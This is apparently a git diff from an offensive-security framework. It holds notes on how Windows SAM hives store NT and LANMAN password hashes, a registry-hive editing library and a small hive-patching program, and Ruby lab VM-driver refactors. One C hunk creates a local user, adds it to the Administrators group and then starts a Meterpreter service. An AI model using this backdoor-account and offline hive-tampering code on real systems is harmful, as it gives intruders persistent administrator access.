included in the unix Samba distribution.
|
||||
This struct contains some info on a user of the NT machine,
|
||||
along with 2 crypted versions of the password associated
|
||||
with the account.
|
||||
|
||||
One password is the NT console login password,
|
||||
the other the LANMAN network share password
|
||||
(which essentially is the first one in uppercase only,
|
||||
and no unicode)
|
||||
|
||||
This is how NT encrypts the passwords:
|
||||
|
||||
The logon cleartext password a user enters is:
|
||||
1) Converted to unicode
|
||||
2) A MD4 hash is made out of the unicode string
|
||||
3) Then the hash is crypted with DES, using the RID (lower
|
||||
part of the SID, userid) as the crypt key.
|
||||
This is the so called "obfuscation" step, so
|
||||
it's not obvious on a hex dump of the file
|
||||
that two or more users have the same password.
|
||||
4) The result of stage 3 (16 bytes) is put into the V struct.
|
||||
|
||||
For the LANMAN password:
|
||||
1) Uppercased (and illegal characters probably removed)
|
||||
14 bytes max, if less the remaining bytes are zeroed.
|
||||
2) A known (constant) string is DES-encrypted
|
||||
using 7 first characters of the password as the key.
|
||||
Another constant is encrypted using the last 7 chars
|
||||
as the key.
|
||||
The result of these two crypts are simply appended,
|
||||
resulting in a 16 byte string.
|
||||
3) The same obfuscation DES stage as 3 above.
|
||||
4) 16 bytes result put into the V struct.
|
||||
|
||||
Since the number of possible combinations in the lanman
|
||||
password is relatively low compared to the other one,
|
||||
and it's easy to see if it's shorter than 8 chars or not
|
||||
it's used first in brute-force-crackers.
|
||||
|
||||
This program, however, don't care at all what the old
|
||||
one is, it just overwrites it with the new one.
|
||||
|
||||
Ok. So, how do we find and identify the V struct?
|
||||
Yeah.. that was the hard part.. The files structure
|
||||
is not documented (as far as I know..)
|
||||
|
||||
But, with help from an unnamed German, and a lot of testing
|
||||
and guesswork from myself, it's now possible to follow
|
||||
the actual registry tree. (see source code for struct-defines
|
||||
and comments on the registry structure)
|
||||
|
||||
The usernames are listed in:
|
||||
\SAM\Domains\Account\Users\Names\
|
||||
|
||||
[2d18] \SAM\Domains\Account\Users\Names> l
|
||||
ls of node at offset 0x2d1c
|
||||
Node has 4 subkeys and 1 values
|
||||
nk-offset name
|
||||
0x003290 - <Administrator>
|
||||
0x003630 - <Guest>
|
||||
0x001c88 - <luser>
|
||||
0x003428 - <pnh>
|
||||
|
||||
Each name is a subkey, with one namless value containing
|
||||
the RID.
|
||||
|
||||
[2d18] \SAM\Domains\Account\Users\Names> cd pnh
|
||||
|
||||
[3428] \SAM\Domains\Account\Users\Names\pnh> l
|
||||
ls of node at offset 0x342c
|
||||
Node has 0 subkeys and 1 values
|
||||
vk-offs size type name
|
||||
0x003688 0 (unknown) <> INLINE: val (in type field?): 1000 (0x3e8)
|
||||
|
||||
To get the userinfo (V struct), access
|
||||
\SAM\Domains\Account\Users\<RID>\V
|
||||
|
||||
[2c90] \SAM\Domains\Account\Users> l
|
||||
ls of node at offset 0x2c94
|
||||
Node has 5 subkeys and 1 values
|
||||
nk-offset name
|
||||
0x003320 - <000001F4>
|
||||
0x0036b8 - <000001F5>
|
||||
0x003550 - <000003E8>
|
||||
0x001d00 - <000003E9>
|
||||
0x002d18 - <Names>
|
||||
|
||||
[2c90] \SAM\Domains\Account\Users> cd 000003E8
|
||||
|
||||
[3550] \SAM\Domains\Account\Users\000003E8> l
|
||||
ls of node at offset 0x3554
|
||||
Node has 0 subkeys and 2 values
|
||||
vk-offs size type name
|
||||
0x0035a8 80 REG_BINARY <F>
|
||||
0x003228 508 REG_BINARY <V>
|
||||
|
||||
For more techincal info, look it up in the source code.
|
|
@ -1,16 +0,0 @@
|
|||
|
||||
#include <sys/types.h>
|
||||
#include "ntreg.h"
|
||||
int main(){
|
||||
struct hive *myhive;
|
||||
myhive = openHive("SYSTEM", HMODE_RW);
|
||||
if(myhive == 0)
|
||||
myhive = openHive("system", HMODE_RW);
|
||||
if(myhive == 0)
|
||||
myhive = openHive("System", HMODE_RW);
|
||||
put_dword(myhive, 0, "ControlSet001\\Services\\Spooler\\Start", TPF_VK_EXACT, 2);
|
||||
put_dword(myhive, 0, "ControlSet002\\Services\\Spooler\\Start", TPF_VK_EXACT, 2);
|
||||
writeHive(myhive);
|
||||
closeHive(myhive);
|
||||
}
|
||||
|
|
@ -1,2 +0,0 @@
|
|||
#!/bin/sh
|
||||
gcc ntreg.c addmsf.c --static -m32 -o regeditor
|
File diff suppressed because it is too large
Load Diff
|
@ -1,395 +0,0 @@
|
|||
/*
|
||||
* ntreg.h - NT Registry Hive access library, constants & structures
|
||||
*
|
||||
* NOTE: defines are not frozen. It can and will change every release.
|
||||
*
|
||||
*****
|
||||
*
|
||||
* NTREG - Window registry file reader / writer library
|
||||
* Copyright (c) 1997-2010 Petter Nordahl-Hagen.
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation;
|
||||
* version 2.1 of the License.
|
||||
*
|
||||
* This library is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
* See file LGPL.txt for the full license.
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
#ifndef _INCLUDE_NTREG_H
|
||||
#define _INCLUDE_NTREG_H 1
|
||||
|
||||
#define SZ_MAX 4096 /* Max unicode strlen before we truncate */
|
||||
|
||||
#define KEY_ROOT 0x2c /* Type ID of ROOT key node */
|
||||
#define KEY_NORMAL 0x20 /* Normal nk key */
|
||||
|
||||
#define ABSPATHLEN 2048
|
||||
|
||||
|
||||
/* Datatypes of the values in the registry */
|
||||
|
||||
#define REG_NONE 0 /* No value type */
|
||||
#define REG_SZ 1 /* Unicode nul terminated string */
|
||||
#define REG_EXPAND_SZ 2 /* Unicode nul terminated string + env */
|
||||
#define REG_BINARY 3 /* Free form binary */
|
||||
#define REG_DWORD 4 /* 32-bit number */
|
||||
#define REG_DWORD_BIG_ENDIAN 5 /* 32-bit number */
|
||||
#define REG_LINK 6 /* Symbolic Link (unicode) */
|
||||
#define REG_MULTI_SZ 7 /* Multiple Unicode strings */
|
||||
#define REG_RESOURCE_LIST 8 /* Resource list in the resource map */
|
||||
#define REG_FULL_RESOURCE_DESCRIPTOR 9 /* Resource list in the hardware description */
|
||||
#define REG_RESOURCE_REQUIREMENTS_LIST 10 /* Uh? Rait.. */
|
||||
#define REG_QWORD 11 /* Quad word 64 bit, little endian */
|
||||
|
||||
#define REG_MAX 12
|
||||
|
||||
|
||||
/* The first page of the registry file is some kind of header, lot of
|
||||
* it's contents is unknown, and seems to be mostly NULLs anyway.
|
||||
* Note also, that this is the only place in the registry I've been
|
||||
* able to find _any_ kind of checksumming
|
||||
*/
|
||||
|
||||
struct regf_header {
|
||||
|
||||
int32_t id; /* 0x00000000 D-Word ID: ASCII-"regf" = 0x66676572 */
|
||||
int32_t unknown1; /* 0x00000004 D-Word ???? Mount count */
|
||||
int32_t unknown2; /* 0x00000008 D-Word ???? Always the same value as at 0x00000004 */
|
||||
char timestamp[8]; /* 0x0000000C Q-Word last modify date in WinNT date-format */
|
||||
int32_t unknown3; /* 0x00000014 D-Word 1 */
|
||||
int32_t unknown4; /* 0x00000018 D-Word 3 - probably version #. 2 in NT3.51 */
|
||||
int32_t unknown5; /* 0x0000001C D-Word 0 */
|
||||
int32_t unknown6; /* 0x00000020 D-Word 1 */
|
||||
int32_t ofs_rootkey; /* 0x00000024 D-Word Offset of 1st key record */
|
||||
int32_t filesize; /* 0x00000028 D-Word Size of the data-blocks (Filesize-4kb) */
|
||||
int32_t unknown7; /* 0x0000002C D-Word 1 */
|
||||
char name[0x1fc-0x30]; /* 0x00000030 Seems like the hive's name is buried here, max len unknown */
|
||||
int32_t checksum; /* 0x000001FC D-Word Xor sum of all D-Words from 0x00000000 to 0x000001FB */
|
||||
};
|
||||
|
||||
/* The page header, I don't know if the 14 "dummy" bytes has a meaning,
|
||||
* they seem to be mostly NULLS
|
||||
*/
|
||||
|
||||
struct hbin_page {
|
||||
|
||||
int32_t id; /* 0x0000 D-Word ID: ASCII-"hbin" = 0x6E696268 */
|
||||
int32_t ofs_from1; /* 0x0004 D-Word Offset from the 1st hbin-Block */
|
||||
int32_t ofs_next; /* 0x0008 D-Word Offset to the next hbin-Block (from THIS ONE) */
|
||||
char dummy1[14];
|
||||
int32_t len_page; /* 0x001C D-Word Block-size??? Don't look like it,
|
||||
I only use the next-offset in this program */
|
||||
char data[1]; /* 0x0020 First data block starts here */
|
||||
|
||||
};
|
||||
|
||||
/* Minimum block size utilized at end of block
|
||||
* seem to be either 8 or 16, less than this
|
||||
* is only filled with garbage. (usually 0xB2 0xB2 ..)
|
||||
*/
|
||||
#define HBIN_ENDFILL 0
|
||||
|
||||
/* Security descriptor. I know how it's linked, but don't know
|
||||
how the real security data is constructed, it may as well
|
||||
be like the higher level security structs defined by MS in its
|
||||
includes & NT docs. Currently, I have no use for it.
|
||||
Note that keys sharing the exact same security settings will
|
||||
most likely point to the same security descriptor, thus
|
||||
saving space and making it fast to make objects inherit settings
|
||||
(is inheritance supported? they speak of security inheritance as a "new"
|
||||
feature in the filesystem on NT5, even though I think it was
|
||||
also supported by the lower levels in the earlier versions)
|
||||
*/
|
||||
struct sk_key {
|
||||
|
||||
short id; /* 0x0000 Word ID: ASCII-"sk" = 0x6B73 */
|
||||
short dummy1; /* 0x0002 Word Unused */
|
||||
int32_t ofs_prevsk; /* 0x0004 D-Word Offset of previous "sk"-Record */
|
||||
int32_t ofs_nextsk; /* 0x0008 D-Word Offset of next "sk"-Record */
|
||||
int32_t no_usage; /* 0x000C D-Word usage-counter */
|
||||
int32_t len_sk; /* 0x0010 D-Word Size of "sk"-record in bytes */
|
||||
char data[4]; /* Security data up to len_sk bytes */
|
||||
|
||||
};
|
||||
|
||||
/* This is the subkeylist/hash structure. NT4.0+.
|
||||
* ID + count, then count number of offset/4byte "hash". (not true hash)
|
||||
* Probably changed from the 3.x version to make it faster to
|
||||
* traverse the registry if you're looking for a specific name
|
||||
* (saves lookups in 'nk's that have the first 4 name chars different)
|
||||
*/
|
||||
|
||||
struct lf_key {
|
||||
|
||||
short id; /* 0x0000 Word ID: ASCII-"lf" = 0x666C or "lh" = 0x686c */
|
||||
short no_keys; /* 0x0002 Word number of keys */
|
||||
/* 0x0004 ???? Hash-Records */
|
||||
|
||||
union {
|
||||
|
||||
struct lf_hash {
|
||||
int32_t ofs_nk; /* 0x0000 D-Word Offset of corresponding "nk"-Record */
|
||||
char name[4]; /* 0x0004 D-Word ASCII: the first 4 characters of the key-name, */
|
||||
} hash[1];
|
||||
|
||||
/* WinXP uses a more real hash instead (base 37 of uppercase name chars) */
|
||||
/* padded with 0's. Case sensitiv! */
|
||||
|
||||
struct lh_hash {
|
||||
int32_t ofs_nk; /* 0x0000 D-Word Offset of corresponding "nk"-Record */
|
||||
int32_t hash; /* 0x0004 D-Word ASCII: the first 4 characters of the key-name, */
|
||||
} lh_hash[1];
|
||||
};
|
||||
|
||||
};
|
||||
|
||||
/* 3.x version of the above, contains only offset table, NOT
|
||||
* any start of names "hash". Thus needs 'nk' lookups for searches.
|
||||
*/
|
||||
struct li_key {
|
||||
|
||||
short id; /* 0x0000 Word ID: ASCII-"li" = 0x696C */
|
||||
short no_keys; /* 0x0002 Word number of keys */
|
||||
/* 0x0004 ???? Hash-Records */
|
||||
struct li_hash {
|
||||
int32_t ofs_nk; /* 0x0000 D-Word Offset of corresponding "nk"-Record */
|
||||
} hash[1];
|
||||
};
|
||||
|
||||
|
||||
/* This is a list of pointers to struct li_key, ie
|
||||
* an extention record if many li's.
|
||||
* This happens in NT4&5 when the lf hashlist grows larger
|
||||
* than about 400-500 entries/subkeys??, then the nk_key->ofs_lf points to this
|
||||
* instead of directly to an lf.
|
||||
* The sub-indices this points to seems to be li (yes!) in NT4 and 2k.
|
||||
* In XP and newer they point to lh which is more efficient.
|
||||
* Likely to happen in HKLM\Software\classes (file extention list) and
|
||||
* in SAM when many users.
|
||||
*/
|
||||
struct ri_key {
|
||||
|
||||
short id; /* 0x0000 Word ID: ASCII-"ri" = 0x6972 */
|
||||
short no_lis; /* 0x0002 Word number of pointers to li */
|
||||
/* 0x0004 ???? Hash-Records */
|
||||
struct ri_hash {
|
||||
int32_t ofs_li; /* 0x0000 D-Word Offset of corresponding "li"-Record */
|
||||
} hash[1];
|
||||
};
|
||||
|
||||
|
||||
/* This is the value descriptor.
|
||||
* If the sign bit (31st bit) in the length field is set, the value is
|
||||
* stored inline this struct, and not in a seperate data chunk -
|
||||
* the data then seems to be in the type field, and maybe also
|
||||
* in the flag and dummy1 field if -len > 4 bytes
|
||||
* If the name size == 0, then the struct is probably cut short right
|
||||
* after the val_type or flag.
|
||||
* The flag meaning is rather unknown.
|
||||
*/
|
||||
struct vk_key {
|
||||
|
||||
/* Offset Size Contents */
|
||||
short id; /* 0x0000 Word ID: ASCII-"vk" = 0x6B76 */
|
||||
short len_name; /* 0x0002 Word name length */
|
||||
int32_t len_data; /* 0x0004 D-Word length of the data */
|
||||
int32_t ofs_data; /* 0x0008 D-Word Offset of Data */
|
||||
int32_t val_type; /* 0x000C D-Word Type of value */
|
||||
short flag; /* 0x0010 Word Flag
|
||||
0x1 ANSI encoding */
|
||||
short dummy1; /* 0x0012 Word Unused (data-trash) */
|
||||
char keyname[1]; /* 0x0014 ???? Name */
|
||||
|
||||
};
|
||||
|
||||
/* This is the key node (ie directory) descriptor, can contain subkeys and/or values.
|
||||
* Note that for values, the count is stored here, but for subkeys
|
||||
* there's a count both here and in the offset-table (lf or li struct).
|
||||
* What happens if these mismatch is not known.
|
||||
* What's the classname thingy? Can't remember seeing that used in
|
||||
* anything I've looked at.
|
||||
*/
|
||||
struct nk_key {
|
||||
|
||||
/* Offset Size Contents */
|
||||
short id; /* 0x0000 Word ID: ASCII-"nk" = 0x6B6E */
|
||||
short type; /* 0x0002 Word for the root-key: 0x2C, otherwise 0x20
|
||||
0x20 seems a flag for ANSI encoding */
|
||||
char timestamp[12]; /* 0x0004 Q-Word write-date/time in windows nt notation */
|
||||
int32_t ofs_parent; /* 0x0010 D-Word Offset of Owner/Parent key */
|
||||
int32_t no_subkeys; /* 0x0014 D-Word number of sub-Keys */
|
||||
char dummy1[4];
|
||||
int32_t ofs_lf; /* 0x001C D-Word Offset of the sub-key lf-Records */
|
||||
char dummy2[4];
|
||||
int32_t no_values; /* 0x0024 D-Word number of values */
|
||||
int32_t ofs_vallist; /* 0x0028 D-Word Offset of the Value-List */
|
||||
int32_t ofs_sk; /* 0x002C D-Word Offset of the sk-Record */
|
||||
int32_t ofs_classnam; /* 0x0030 D-Word Offset of the Class-Name */
|
||||
char dummy3[16];
|
||||
int32_t dummy4; /* 0x0044 D-Word Unused (data-trash) */
|
||||
short len_name; /* 0x0048 Word name-length */
|
||||
short len_classnam; /* 0x004A Word class-name length */
|
||||
char keyname[1]; /* 0x004C ???? key-name */
|
||||
};
|
||||
|
||||
/*********************************************************************************/
|
||||
|
||||
/* Structure defines for my routines */
|
||||
|
||||
struct ex_data {
|
||||
int nkoffs;
|
||||
struct nk_key *nk;
|
||||
char *name;
|
||||
};
|
||||
|
||||
struct vex_data {
|
||||
int vkoffs;
|
||||
struct vk_key *vk;
|
||||
int type; /* Value type REG_??? */
|
||||
int size; /* Values size (normalized, inline accounted for) */
|
||||
int val; /* Actual value itself if type==REG_DWORD */
|
||||
char *name;
|
||||
};
|
||||
|
||||
struct keyval {
|
||||
int len; /* Length of databuffer */
|
||||
int data; /* Data. Goes on for length of value */
|
||||
};
|
||||
|
||||
struct keyvala {
|
||||
int len; /* Length of databuffer */
|
||||
int data[1]; /* Data. Goes on for length of value */
|
||||
};
|
||||
|
||||
/* Types to trav_path() */
|
||||
#define TPF_NK 0
|
||||
#define TPF_VK 1
|
||||
#define TPF_EXACT 128
|
||||
#define TPF_NK_EXACT (TPF_NK | TPF_EXACT)
|
||||
#define TPF_VK_EXACT (TPF_VK | TPF_EXACT)
|
||||
|
||||
|
||||
/* Hive open modes */
|
||||
#define HMODE_RW 0
|
||||
#define HMODE_RO 0x1
|
||||
#define HMODE_OPEN 0x2
|
||||
#define HMODE_DIRTY 0x4
|
||||
#define HMODE_NOALLOC 0x8
|
||||
#define HMODE_VERBOSE 0x1000
|
||||
#define HMODE_TRACE 0x2000
|
||||
|
||||
/* Suggested type of hive loaded, guessed by library, but not used by it */
|
||||
#define HTYPE_UNKNOWN 0
|
||||
#define HTYPE_SAM 1
|
||||
#define HTYPE_SYSTEM 2
|
||||
#define HTYPE_SECURITY 3
|
||||
#define HTYPE_SOFTWARE 4
|
||||
|
||||
/* Hive definition, allocated by openHive(), dealloc by closeHive()
|
||||
* contains state data, must be passed in all functions
|
||||
*/
|
||||
struct hive {
|
||||
char *filename; /* Hives filename */
|
||||
int filedesc; /* File descriptor (only valid if state == OPEN) */
|
||||
int state; /* Current state of hive */
|
||||
int type; /* Suggested type of hive. NOTE: Library will guess when
|
||||
it loads it, but application may change it if needed */
|
||||
int pages; /* Number of pages, total */
|
||||
int useblk; /* Total # of used blocks */
|
||||
int unuseblk; /* Total # of unused blocks */
|
||||
int usetot; /* total # of bytes in useblk */
|
||||
int unusetot; /* total # of bytes in unuseblk */
|
||||
int size; /* Hives size (filesise) in bytes */
|
||||
int rootofs; /* Offset of root-node */
|
||||
short nkindextype; /* Subkey-indextype the root key uses */
|
||||
char *buffer; /* Files raw contents */
|
||||
};
|
||||
|
||||
/***************************************************/
|
||||
|
||||
/* Various nice macros */
|
||||
|
||||
#define CREATE(result, type, number)\
|
||||
{ \
|
||||
if (!((result) = (type *) calloc ((number), sizeof(type)))) { \
|
||||
perror("malloc failure"); \
|
||||
abort() ; \
|
||||
} \
|
||||
}
|
||||
#define ALLOC(result, size, number)\
|
||||
{ \
|
||||
if (!((result) = (void *) calloc ((number), (size)))) { \
|
||||
perror("malloc failure"); \
|
||||
abort() ; \
|
||||
} \
|
||||
}
|
||||
#define FREE(p) { if (p) { free(p); (p) = 0; } }
|
||||
|
||||
/* Debug / verbosity message macro */
|
||||
|
||||
#define VERB(h, string) \
|
||||
{ \
|
||||
if ((h)->state & HMODE_VERBOSE) printf((string)); \
|
||||
}
|
||||
|
||||
#define VERBF(h, ...) \
|
||||
{ \
|
||||
if ((h)->state & HMODE_VERBOSE) printf(__VA_ARGS__); \
|
||||
}
|
||||
|
||||
|
||||
/******* Function prototypes **********/
|
||||
|
||||
char *str_dup( const char *str );
|
||||
int fmyinput(char *prmpt, char *ibuf, int maxlen);
|
||||
void hexprnt(char *s, unsigned char *bytes, int len);
|
||||
void hexdump(char *hbuf, int start, int stop, int ascii);
|
||||
int find_in_buf(char *buf, char *what, int sz, int len, int start);
|
||||
int get_int( char *array );
|
||||
void cheap_uni2ascii(char *src, char *dest, int l);
|
||||
void cheap_ascii2uni(char *src, char *dest, int l);
|
||||
void skipspace(char **c);
|
||||
int gethex(char **c);
|
||||
int gethexorstr(char **c, char *wb);
|
||||
int debugit(char *buf, int sz);
|
||||
int parse_block(struct hive *hdesc, int vofs,int verbose);
|
||||
int ex_next_n(struct hive *hdesc, int nkofs, int *count, int *countri, struct ex_data *sptr);
|
||||
int ex_next_v(struct hive *hdesc, int nkofs, int *count, struct vex_data *sptr);
|
||||
int get_abs_path(struct hive *hdesc, int nkofs, char *path, int maxlen);
|
||||
int trav_path(struct hive *hdesc, int vofs, char *path, int type);
|
||||
int get_val_type(struct hive *hdesc, int vofs, char *path, int exact);
|
||||
int get_val_len(struct hive *hdesc, int vofs, char *path, int exact);
|
||||
void *get_val_data(struct hive *hdesc, int vofs, char *path, int val_type, int exact);
|
||||
struct keyval *get_val2buf(struct hive *hdesc, struct keyval *kv,
|
||||
int vofs, char *path, int type, int exact );
|
||||
int get_dword(struct hive *hdesc, int vofs, char *path, int exact);
|
||||
int put_buf2val(struct hive *hdesc, struct keyval *kv,
|
||||
int vofs, char *path, int type, int exact );
|
||||
int put_dword(struct hive *hdesc, int vofs, char *path, int exact, int dword);
|
||||
void export_key(struct hive *hdesc, int nkofs, char *name, char *filename, char *prefix);
|
||||
void closeHive(struct hive *hdesc);
|
||||
int writeHive(struct hive *hdesc);
|
||||
struct hive *openHive(char *filename, int mode);
|
||||
|
||||
void nk_ls(struct hive *hdesc, char *path, int vofs, int type);
|
||||
|
||||
struct vk_key *add_value(struct hive *hdesc, int nkofs, char *name, int type);
|
||||
void del_allvalues(struct hive *hdesc, int nkofs);
|
||||
int del_value(struct hive *hdesc, int nkofs, char *name, int exact);
|
||||
struct nk_key *add_key(struct hive *hdesc, int nkofs, char *name);
|
||||
int del_key(struct hive *hdesc, int nkofs, char *name);
|
||||
void rdel_keys(struct hive *hdesc, char *path, int nkofs);
|
||||
struct keyval *get_class(struct hive *hdesc, int curnk, char *path);
|
||||
|
||||
/* From edlib,c */
|
||||
void regedit_interactive(struct hive *hive[], int no_hives);
|
||||
|
||||
#endif
|
||||
|
Binary file not shown.
|
@ -64,7 +64,6 @@
|
|||
Name="VCLinkerTool"
|
||||
LinkIncremental="1"
|
||||
GenerateManifest="false"
|
||||
GenerateDebugInformation="false"
|
||||
SubSystem="2"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
|
|
|
@ -41,9 +41,23 @@ void start(){
|
|||
userinfo.usri1_script_path = NULL;
|
||||
DWORD res = NetUserAdd(NULL,1,(PBYTE)&userinfo,NULL);
|
||||
if(res == NERR_Success){
|
||||
//Get local admins SID
|
||||
DWORD sidSize = SECURITY_MAX_SID_SIZE;
|
||||
PSID adminsid = LocalAlloc(LMEM_FIXED,sidSize);
|
||||
CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, adminsid, &sidSize);
|
||||
|
||||
//Get local admins group name
|
||||
WCHAR namebuf[MAX_PATH];
|
||||
DWORD namelen = MAX_PATH;
|
||||
WCHAR domainBuf[MAX_PATH];
|
||||
DWORD domainlen = MAX_PATH;
|
||||
SID_NAME_USE snu;
|
||||
LookupAccountSidW(NULL, adminsid, namebuf, &namelen, domainBuf, &domainlen, &snu);
|
||||
|
||||
//Now add user to local admins group
|
||||
LOCALGROUP_MEMBERS_INFO_3 lgmi3;
|
||||
lgmi3.lgrmi3_domainandname = userinfo.usri1_name;
|
||||
NetLocalGroupAddMembers(NULL,L"Administrators",3,(PBYTE)&lgmi3,1);
|
||||
NetLocalGroupAddMembers(NULL,namebuf,3,(PBYTE)&lgmi3,1);
|
||||
}
|
||||
|
||||
//start metsvc
|
||||
|
|
|
@ -134,11 +134,11 @@ class FogDriver < VmDriver
|
|||
end
|
||||
end
|
||||
|
||||
def copy_from(from, to)
|
||||
def copy_from_guest(from, to)
|
||||
raise "unimplemented"
|
||||
end
|
||||
|
||||
def copy_to(from, to)
|
||||
def copy_to_guest(from, to)
|
||||
raise "unimplemented"
|
||||
end
|
||||
|
||||
|
|
|
@ -102,7 +102,7 @@ class RemoteEsxDriver < VmDriver
|
|||
raise "Not Implemented"
|
||||
end
|
||||
|
||||
def copy_from(from, to)
|
||||
def copy_from_guest(from, to)
|
||||
if @os == "linux"
|
||||
scp_from(from, to)
|
||||
else
|
||||
|
@ -110,7 +110,7 @@ class RemoteEsxDriver < VmDriver
|
|||
end
|
||||
end
|
||||
|
||||
def copy_to(from, to)
|
||||
def copy_to_guest(from, to)
|
||||
if @os == "linux"
|
||||
scp_to(from, to)
|
||||
else
|
||||
|
|
|
@ -116,7 +116,7 @@ class RemoteWorkstationDriver < VmDriver
|
|||
end
|
||||
end
|
||||
|
||||
def copy_from(from, to)
|
||||
def copy_from_guest(from, to)
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
|
||||
|
@ -133,7 +133,7 @@ class RemoteWorkstationDriver < VmDriver
|
|||
end
|
||||
end
|
||||
|
||||
def copy_to(from, to)
|
||||
def copy_to_guest(from, to)
|
||||
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
|
@ -165,9 +165,8 @@ class RemoteWorkstationDriver < VmDriver
|
|||
directory = filter_input(directory)
|
||||
|
||||
if @tools
|
||||
emote_system_command("ssh #{@user}@#{@host} vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
|
||||
remote_system_command("ssh #{@user}@#{@host} vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
|
||||
"createDirectoryInGuest \'#{@location}\' \'#{directory}\' nogui")
|
||||
system_command(vmrunstr)
|
||||
else
|
||||
raise "Not Implemented - Install VmWare Tools"
|
||||
end
|
||||
|
@ -178,8 +177,11 @@ class RemoteWorkstationDriver < VmDriver
|
|||
end
|
||||
|
||||
def running?
|
||||
## Get running VMs
|
||||
running = `ssh #{@user}@#{@host} \"vmrun list nogui\"`
|
||||
|
||||
# Get running VMs
|
||||
running = remote_system_command("vmrun list nogui")
|
||||
|
||||
if running
|
||||
running_array = running.split("\n")
|
||||
running_array.shift
|
||||
|
||||
|
@ -188,6 +190,7 @@ class RemoteWorkstationDriver < VmDriver
|
|||
return true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
|
|
@ -98,14 +98,14 @@ module Drivers
|
|||
system_command(command)
|
||||
end
|
||||
|
||||
def copy_from(from, to)
|
||||
def copy_from_guest(from, to)
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
|
||||
raise "Not supported by Virtual Box"
|
||||
end
|
||||
|
||||
def copy_to(from, to)
|
||||
def copy_to_guest(from, to)
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
|
||||
|
|
|
@ -24,6 +24,7 @@ class VmDriver
|
|||
@location = filter_command(config["location"])
|
||||
@credentials = config["credentials"] || []
|
||||
@tools = filter_input(config["tools"])
|
||||
|
||||
@os = filter_input(config["os"])
|
||||
@hostname = filter_input(config["hostname"]) || filter_input(config["vmid"].to_s)
|
||||
|
||||
|
@ -86,11 +87,11 @@ class VmDriver
|
|||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def copy_from(from, to)
|
||||
def copy_from_guest(from, to)
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def copy_to(from, to)
|
||||
def copy_to_guest(from, to)
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
|
@ -142,7 +143,7 @@ private
|
|||
|
||||
def filter_input(string)
|
||||
return "" unless string # nil becomes empty string
|
||||
return unless string.class == String # Allow other types unmodified
|
||||
return string unless string.class == String # Allow other types unmodified
|
||||
|
||||
unless /^[\d\w\s\[\]\{\}\/\\\.\-\"\(\):!]*$/.match string
|
||||
raise "WARNING! Invalid character in: #{string}"
|
||||
|
@ -166,8 +167,7 @@ private
|
|||
# the ability to still run clean (controlled entirely by us)
|
||||
# command lines.
|
||||
def system_command(command)
|
||||
#puts "DEBUG: system command #{command}"
|
||||
system(command)
|
||||
`#{command}`
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -107,7 +107,6 @@ class WorkstationDriver < VmDriver
|
|||
# Ghettohack!
|
||||
string = File.open(output_file,"r").read
|
||||
`rm #{output_file}`
|
||||
|
||||
else
|
||||
raise "zomgwtfbbqnotools"
|
||||
end
|
||||
|
@ -115,7 +114,7 @@ class WorkstationDriver < VmDriver
|
|||
return string
|
||||
end
|
||||
|
||||
def copy_from(from, to)
|
||||
def copy_from_guest(from, to)
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
if @tools
|
||||
|
@ -127,7 +126,8 @@ class WorkstationDriver < VmDriver
|
|||
system_command(vmrunstr)
|
||||
end
|
||||
|
||||
def copy_to(from, to)
|
||||
def copy_to_guest(from, to)
|
||||
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
if @tools
|
||||
|
|
|
@ -91,13 +91,13 @@ class WorkstationVixrDriver < VmDriver
|
|||
end
|
||||
end
|
||||
|
||||
def copy_from(from, to)
|
||||
def copy_from_guest(from, to)
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
cp_from_host(from,to)
|
||||
end
|
||||
|
||||
def copy_to(from, to)
|
||||
def copy_to_guest(from, to)
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
vm.cp_to_guest(from,to)
|
||||
|
|
|
@ -1,19 +1,15 @@
|
|||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..'))
|
||||
|
||||
module Lab
|
||||
module Modifier
|
||||
module Meterpreter
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
# This allows us to override the default way of running commands
|
||||
# Currently useful for the esx controller
|
||||
|
||||
module Lab
|
||||
class Vm
|
||||
module Modifier
|
||||
module Meterpreter
|
||||
|
||||
attr_accessor :framework
|
||||
attr_accessor :session
|
||||
|
@ -165,3 +161,5 @@ class Vm
|
|||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -18,6 +18,8 @@ class Vm
|
|||
attr_accessor :host
|
||||
attr_accessor :os
|
||||
attr_accessor :arch
|
||||
attr_accessor :tags
|
||||
attr_accessor :type
|
||||
|
||||
## Initialize takes a vm configuration hash of the form
|
||||
## - vmid (unique identifier)
|
||||
|
@ -75,8 +77,6 @@ class Vm
|
|||
#Only fog systems need this
|
||||
@fog_config = config['fog_config']
|
||||
|
||||
#puts "Passing driver config: #{config}"
|
||||
|
||||
# Process the correct driver
|
||||
if @driver_type == "workstation"
|
||||
@driver = Lab::Drivers::WorkstationDriver.new(config)
|
||||
|
@ -101,8 +101,6 @@ class Vm
|
|||
# Load in a list of modifiers. These provide additional methods
|
||||
# Currently it is up to the user to verify that
|
||||
# modifiers are properly used with the correct VM image.
|
||||
#
|
||||
# If not, the results are likely to be disasterous.
|
||||
@modifiers = config['modifiers']
|
||||
|
||||
